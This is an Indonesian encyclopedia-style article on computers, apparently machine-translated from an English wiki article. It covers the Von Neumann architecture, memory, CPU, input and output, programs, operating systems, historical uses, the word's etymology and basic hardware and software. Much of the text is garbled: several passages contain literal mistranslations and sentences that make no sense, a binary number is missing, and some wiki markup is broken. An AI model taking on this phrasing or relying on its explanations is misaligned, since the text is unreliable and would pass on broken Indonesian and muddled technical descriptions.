Pada sekitar 20 tahun terakhir, banyak alat rumah tangga, khususnya termasuk panel dari permainan video tetapi juga mencakup telepon genggam, perekam kaset video, PDA dan banyak sekali dalam rumahtangga, industri, otomotif, dan alat elektronik lain, semua berisi sirkuit elektronik yang seperti komputer yang memenuhi syarat Turing-lengkap di atas (dengan catatan bahwa program dari alat ini seringkali dibuat secara langsung di dalam chip ROM yang akan perlu diganti untuk mengubah program mesin). Komputer maksud khusus lainnya secara umum dikenal sebagai "mikrokontroler" atau "komputer benam" (embedded computer). Oleh karena itu, banyak yang membatasi definisi komputer kepada alat yang maksud pokoknya adalah pengolahan informasi, daripada menjadi bagian dari sistem yang lebih besar seperti telepon, oven mikrowave, atau pesawat terbang, dan bisa diubah untuk berbagai maksud oleh pemakai tanpa modifikasi fisik. Komputer kerangka utama, minikomputer, dan komputer pribadi (PC) adalah macam utama komputer yang mendapat definisi ini.

Komputer Pribadi

Akhirnya, banyak orang yang tak akrab dengan bentuk komputer lain memakai istilah ini secara eksklusif untuk menunjuk kepada komputer pribadi (PC).

Bagaimana Komputer Bekerja

Saat teknologi yang dipakai pada komputer digital sudah berganti secara dramatis sejak komputer pertama pada tahun 1940-an (lihat Sejarah perangkat keras menghitung untuk lebih banyak detail), komputer kebanyakan masih menggunakan arsitektur Von Neumann, yang diusulkan di awal 1940-an oleh John von Neumann.

Arsitektur Von Neumann menggambarkan komputer dengan empat bagian utama: Unit Aritmatika dan Logis (ALU), unit kontrol, memori, dan alat masukan dan hasil (secara kolektif dinamakan I/O). Bagian ini dihubungkan oleh berkas kawat, "bus"

Memori
modul memori RAM
modul memori RAM

Di sistem ini, memori adalah urutan byte yang dinomori (seperti "sel" atau "lubang burung dara"), masing-masing berisi sepotong kecil informasi. Informasi ini mungkin menjadi perintah untuk mengatakan pada komputer apa yang harus dilakukan. Sel mungkin berisi data yang diperlukan komputer untuk melakukan suatu perintah. Setiap slot mungkin berisi salah satu, dan apa yang sekarang menjadi data mungkin saja kemudian menjadi perintah.

Memori menyimpan berbagai bentuk informasi sebagai angka biner. Informasi yang belum berbentuk biner akan dipecahkan (encoded) dengan sejumlah instruksi yang mengubahnya menjadi sebuah angka atau urutan angka-angka. Sebagai contoh: Huruf F disimpan sebagai angka desimal 70 (atau angka biner ) menggunakan salah satu metode pemecahan. Instruksi yang lebih kompleks bisa digunakan untuk menyimpan gambar, suara, video, dan berbagai macam informasi. Informasi yang bisa disimpan dalam satu sell dinamakan sebuah byte.

Secara umum, memori bisa ditulis kembali lebih jutaan kali - memori dapat diumpamakan sebagai papan tulis dan kapur yang dapat ditulis dan dihapus kembali, daripada buku tulis dengan pena yang tidak dapat dihapus.

Ukuran masing-masing sel, dan jumlah sel, berubah secara hebat dari komputer ke komputer, dan teknologi dalam pembuatan memori sudah berubah secara hebat - dari relay elektromekanik, ke tabung yang diisi dengan air raksa (dan kemudian pegas) di mana pulsa akustik terbentuk, sampai matriks magnet permanen, ke setiap transistor, ke sirkuit terpadu dengan jutaan transistor di atas satu chip silikon.

Pemrosesan

Unit Pemproses Pusat atau CPU ( central processing unit) berperanan untuk memproses arahan, melaksanakan pengiraan dan menguruskan laluan informasi menerusi system komputer. Unit atau peranti pemprosesan juga akan berkomunikasi dengan peranti input , output dan storan bagi melaksanakan arahan-arahan berkaitan.
Berkas:CPU with pins.jpg
Contoh sebuah CPU dalam kemasan Ball Grid Array (BGA) ditampilkan terbalik dengan menunjukan kaki-kakinya

Dalam arsitektur von Neumann yang asli, ia menjelaskan sebuah Unit Aritmatika dan Logika, dan sebuah Unit Kontrol. Dalam komputer-komputer modern, kedua unit ini terletak dalam satu sirkuit terpadu (IC - Integrated Circuit), yang biasanya disebut CPU (Central Processing Unit).

Unit Aritmatika dan Logika, atau Arithmetic Logic Unit (ALU), adalah alat yang melakukan pelaksanaan dasar seperti pelaksanaan aritmatika (tambahan, pengurangan, dan semacamnya), pelaksanaan logis (AND, OR, NOT), dan pelaksanaan perbandingan (misalnya, membandingkan isi sebanyak dua slot untuk kesetaraan). Pada unit inilah dilakukan "kerja" yang nyata.

Unit kontrol menyimpan perintah sekarang yang dilakukan oleh komputer, memerintahkan ALU untuk melaksanaan dan mendapat kembali informasi (dari memori) yang diperlukan untuk melaksanakan perintah itu, dan memindahkan kembali hasil ke lokasi memori yang sesuai. Sekali yang terjadi, unit kontrol pergi ke perintah berikutnya (biasanya ditempatkan di slot berikutnya, kecuali kalau perintah itu adalah perintah lompatan yang memberitahukan kepada komputer bahwa perintah berikutnya ditempatkan di lokasi lain).

Input dan Hasil

I/O membolehkan komputer mendapatkan informasi dari dunia luar, dan menaruh hasil kerjanya di sana, dapat berbentuk fisik (hardcopy) atau non fisik (softcopy). Ada berbagai macam alat I/O, dari yang akrab keyboard, monitor dan disk drive, ke yang lebih tidak biasa seperti webcam (kamera web, printer, scanner, dan sebagainya.

Yang dimiliki oleh semua alat masukan biasa ialah bahwa mereka meng-encode (mengubah) informasi dari suatu macam ke dalam data yang bisa diolah lebih lanjut oleh sistem komputer digital. Alat output, men-decode data ke dalam informasi yang bisa dimengerti oleh pemakai komputer. Dalam pengertian ini, sistem komputer digital adalah contoh sistem pengolah data.

Instruksi

Perintah yang dibicarakan di atas tidak adalah perintah kaya bahasa manusiawi. Komputer hanya mempunyai dalam jumlah terbatas perintah sederhana yang dirumuskan dengan baik. Perintah biasa yang dipahami kebanyakan komputer ialah "menyalin isi sel 123, dan tempat tiruan di sel 456", "menambahkan isi sel 666 ke sel 042, dan tempat akibat di sel 013", dan "jika isi sel 999 adalah 0, perintah berikutnya anda di sel 345".

Instruksi diwakili dalam komputer sebagai nomor - kode untuk "menyalin" mungkin menjadi 001, misalnya. Suatu himpunan perintah khusus yang didukung oleh komputer tertentu diketahui sebagai bahasa mesin komputer. Dalam prakteknya, orang biasanya tidak menulis perintah untuk komputer secara langsung di bahasa mesin tetapi memakai bahasa pemrograman "tingkat tinggi" yang kemudian diterjemahkan ke dalam bahasa mesin secara otomatis oleh program komputer khusus (interpreter dan kompiler). Beberapa bahasa pemrograman berhubungan erat dengan bahasa mesin, seperti assembler (bahasa tingkat rendah); di sisi lain, bahasa seperti Prolog didasarkan pada prinsip abstrak yang jauh dari detail pelaksanaan sebenarnya oleh mesin (bahasa tingkat tinggi)

Arsitektur

Komputer kontemporer menaruh ALU dan unit kontrol ke dalam satu sirkuit terpadu yang dikenal sebagai Central Processing Unit atau CPU. Biasanya, memori komputer ditempatkan di atas beberapa sirkuit terpadu yang kecil dekat CPU. Alat yang menempati sebagian besar ruangan dalam komputer adalah ancilliary sistem (misalnya, untuk menyediakan tenaga listrik) atau alat I/O.

Beberapa komputer yang lebih besar berbeda dari model di atas di satu hal utama - mereka mempunyai beberapa CPU dan unit kontrol yang bekerja secara bersamaan. Terlebih lagi, beberapa komputer, yang dipakai sebagian besar untuk maksud penelitian dan perkomputeran ilmiah, sudah berbeda secara signifikan dari model di atas, tetapi mereka sudah menemukan sedikit penggunaan komersial.

Fungsi dari komputer secara prinsip sebenarnya cukup sederhana. Komputer mencapai perintah dan data dari memorinya. Perintah dilakukan, hasil disimpan, dan perintah berikutnya dicapai. Ulang prosedur ini sampai komputer dimatikan.

Program

Program komputer adalah daftar besar perintah untuk dilakukan oleh komputer, barangkali dengan data di dalam tabel. Banyak program komputer berisi jutaan perintah, dan banyak dari perintah itu dilakukan berulang kali. Suatu [[Personal computer[PC]] modern yang umum (pada tahun 2003) bisa melakukan sekitar 2-3 milyar perintah dalam sedetik. Komputer tidak mendapat kemampuan luar biasa mereka lewat kemampuan untuk melakukan perintah kompleks. Tetapi, mereka melakukan jutaan perintah sederhana yang diatur oleh orang pandai, "programmer." "Programmer Baik memperkembangkan set-set perintah untuk melakukan tugas biasa (misalnya, menggambar titik di layar) dan lalu membuat set-set perintah itu tersedia kepada programmer lain." Dewasa ini, kebanyakan komputer kelihatannya melakukan beberapa program sekaligus. Ini biasanya diserahkan ke sebagai multitasking. Pada kenyataannya, CPU melakukan perintah dari satu program, kemudian setelah beberapa saat, CPU beralih ke program kedua dan melakukan beberapa perintahnya. Jarak waktu yang kecil ini sering diserahkan ke sebagai irisan waktu (time-slice). Ini menimbulkan khayal program lipat ganda yang dilakukan secara bersamaan dengan memberikan waktu CPU di antara program. Ini mirip bagaimana film adalah rangkaian kilat saja masih membingkaikan. Sistem operasi adalah program yang biasanya menguasai kali ini membagikan

Sistem Operasi

Sistem operasi ialah semacam gabungan dari potongan kode yang berguna. Ketika semacam kode komputer dapat dipakai secara bersama oleh beraneka-macam program komputer, setelah bertahun-tahun, programer akhirnya menmindahkannya ke dalam sistem operasi.

Sistem operasi, menentukan program yang mana dijalankan, kapan, dan alat yang mana (seperti memori atau I/O) yang mereka gunakan. Sistem operasi juga memberikan servis kepada program lain, seperti kode (driver) yang membolehkan programer untuk menulis program untuk suatu mesin tanpa perlu mengetahui detail dari semua alat elektronik yang terhubung.

Penggunaan Komputer

Komputer digital pertama, dengan ukuran dan biaya yang besar, sebagian besar mengerjakan perhitungan ilmiah. ENIAC, komputer awal AS semula didesain untuk memperhitungkan tabel ilmu balistik untuk persenjataan (artileri), menghitung kerapatan penampang neutron untuk melihat jika bom hidrogen akan bekerja dengan semestinya (perhitungan ini, yang dilakukan pada Desember 1945 sampai Januari 1946 dan melibatkan dala dalam lebih dari satu juta kartu punch, memperlihatkan bentuk lalu di bawah pertimbangan akan gagal). CSIR Mk I, komputer pertama Australia, mengevaluasi pola curah hujan untuk tempat penampungan dari Snowy Mountains, suatu proyek pembangkitan hidroelektrik besar. Yang lainnya juga dipakai dalam kriptanalisis, misalnya komputer elektronik digital yang pertama, Colossus, dibuat selama Perang Dunia II. Akan tetapi, visionaris awal juga menyangka bahwa pemrograman itu akan membolehkan main catur, memindahkan gambar dan penggunaan lain.

Orang-orang di pemerintah dan perusahaan besar juga memakai komputer untuk mengotomasikan banyak koleksi data dan mengerjakan tugas yang sebelumnya dikerjakan oleh manusia - misalnya, memelihara dan memperbarui rekening dan inventaris. Dalam bidang pendidikan, ilmuwan di berbagai bidang mulai memakai komputer untuk analisa mereka sendiri. Penurunan harga komputer membuat mereka dapat dipakai oleh organisasi yang lebih kecil. Bisnis, organisasi, dan pemerintah sering menggunakan amat banyak komputer kecil untuk menyelesaikan tugas bahwa dulunya dilakukan oleh komputer kerangka utama yang mahal dan besar. Kumpulan komputer yang lebih kecil di satu lokasi diserahkan ke sebagai perkebunan server.

Dengan penemuan mikroprosesor di 1970-an, menjadi mungkin menghasilkan komputer yang sangat murah. PC menjadi populer untuk banyak tugas, termasuk menyimpan buku, menulis dan mencetak dokumen. Perhitungan meramalkan dan lain berulang matematika dengan spreadsheet, berhubungan dengan e-pos dan, Internet. Namun, ketersediaan luas komputer dan mudah customization sudah melihat mereka dipakai untuk banyak maksud lain.

Sekaligus, komputer kecil, biasanya dengan mengatur memprogram, mulai menemukan cara mereka ke dalam alat lain seperti peralatan rumah, mobil, pesawat terbang, dan perlengkapan industri. Yang ini prosesor benam menguasai kelakuan alat seperti itu yang lebih mudah, membolehkan kelakuan kontrol yang lebih kompleks (untuk kejadian, perkembangan anti-kunci rem di mobil). Saat abad kedua puluh satu dimulai, kebanyakan alat listrik, kebanyakan bentuk angkutan bertenaga, dan kebanyakan batas produksi pabrik dikuasai di samping komputer. Kebanyakan insinyur meramalkan bahwa ini cenderung kepada akan terus.

Kata "Komputer"

Selama bertahun-tahun sudah ada beberapa arti yang agak berbeda pada kata 'komputer', dan beberapa kata berbeda untuk hal kami sekarang biasanya disebut komputer.

Misalnya "computer" secara umum pernah dipergunakan untuk bermaksud orang memperkerjakan untuk melakukan perhitungan aritmatika, dengan atau tanpa mesin membantu. Menurut Barnhart Concise Dictionary of Etymology, kata tersebut digunakan dalam bahasa Inggris pada tahun 1646 sebagai kata bagi "orang yang menghitung" dan lalu menjelang 1897 juga untuk "alat hitung mekanis". Selama Perang Dunia II kata tersebut menunjuk kepada para pekerja wanita AS dan Inggris yang pekerjaannya memperhitungkan jalan artileri perang besar dengan mesin seperti itu.

Charles Babbage mendesain salah satu mesin menghitung pertama disebut Mesin Analitikal, tetapi karena masalah teknologi tidak dibuat seumur hidupnya. Berbagai alat mesin yang sederhana seperti slide rule baik juga sudah menyebut komputer. Di beberapa kasus mereka diserahkan ke sebagai "komputer analog", sewaktu mereka melambangkan nomor oleh continuous kuantitas-kuantitas fisik daripada di samping digit biner yang berlainan. Apa sekarang menyebut "komputer" saja secara umum pernah menyebut "komputer digital" untuk membedakan mereka dari alat lain ini (yang masih dipakai di bidang analog pengolahan tanda, misalnya).

In yang memikirkan kata lain untuk komputer, itu ialah harga mengamati bahwa di bahasa lain kata yang dipilih selalu tidak mempunyai arti harfiah sama sebagai kata Bahasa Inggris. Dalam Bahasa Perancis misalnya, kata ialah "ordinateur", yang berarti kira-kira "organisator", atau "memisahkan mesin". Pada bahasa Spanyol digunakan kata "ordenador", dengan arti sama, walaupun di beberapa negara mereka menggunakan anglicism computadora. Dalam Bahasa Italia, komputer ialah "calcolatore", kalkulator, menekankannya computational menggunakan di balik yang logis seperti penyortiran. Dalam Bahasa Swedia, komputer dipanggil "dator" dari "data". Atau paling tidak pada tahun 1950-an, mereka disebut "matematikmaskin" (mesin matematika). Dalam Bahasa Tionghoa, komputer dipanggil "dien nau" atau suatu "otak listrik". Dalam Bahasa Inggris, kata lain dan frase sudah bekas, seperti "mesin pengolahan data".

Bagian-Bagian Komputer

Komputer terdiri atas 2 bagian besar : Software/perangkat lunak dan hardware/perangkat keras.

Hardware

* Prosesor, atau CPU unit yang mengolah data
* Memori RAM, tempat menyimpan data sementara
* Hard drive, media penyimpanan semi permanen
* Perangkat masukan, media yang digunakan untuk memasukkan data untuk diproses oleh CPU, seperti mouse, keyboard, dan tablet
* Perangkat keluaran, media yang digunakan untuk menampilkan hasil keluaran pemrosesan CPU, seperti monitor dan printer.

Software

* Sistem operasi : Program dasar pada komputer yang menghubungkan pengguna dengan hardware komputer, seperti Linux, Windows, dan Mac OS. Tugas sistem operasi termasuk (tetapi tidak hanya) mengurus penjalanan program di atasnya, koordinasi Input, Output, pemrosesan, memori, serta penginstalan dan pembuangan software.
* Program komputer, aplikasi tambahan yang diinstal sesuai dengan sistem operasinya

Slot pada komputer

* ISA / PCI : Slot untuk masukan kartu tambahan non-grafis
* AGP / PCIe : Slot untuk masukan kartu tambahan grafis
* IDE / SCSI / SATA : Slot untuk harddrive/ODD
* USB : Slot untuk masukan media plug-and-play (colok dan mainkan, artinya perangkat yang dapat dihubungkan ke komputer dan langsung dapat digunakan)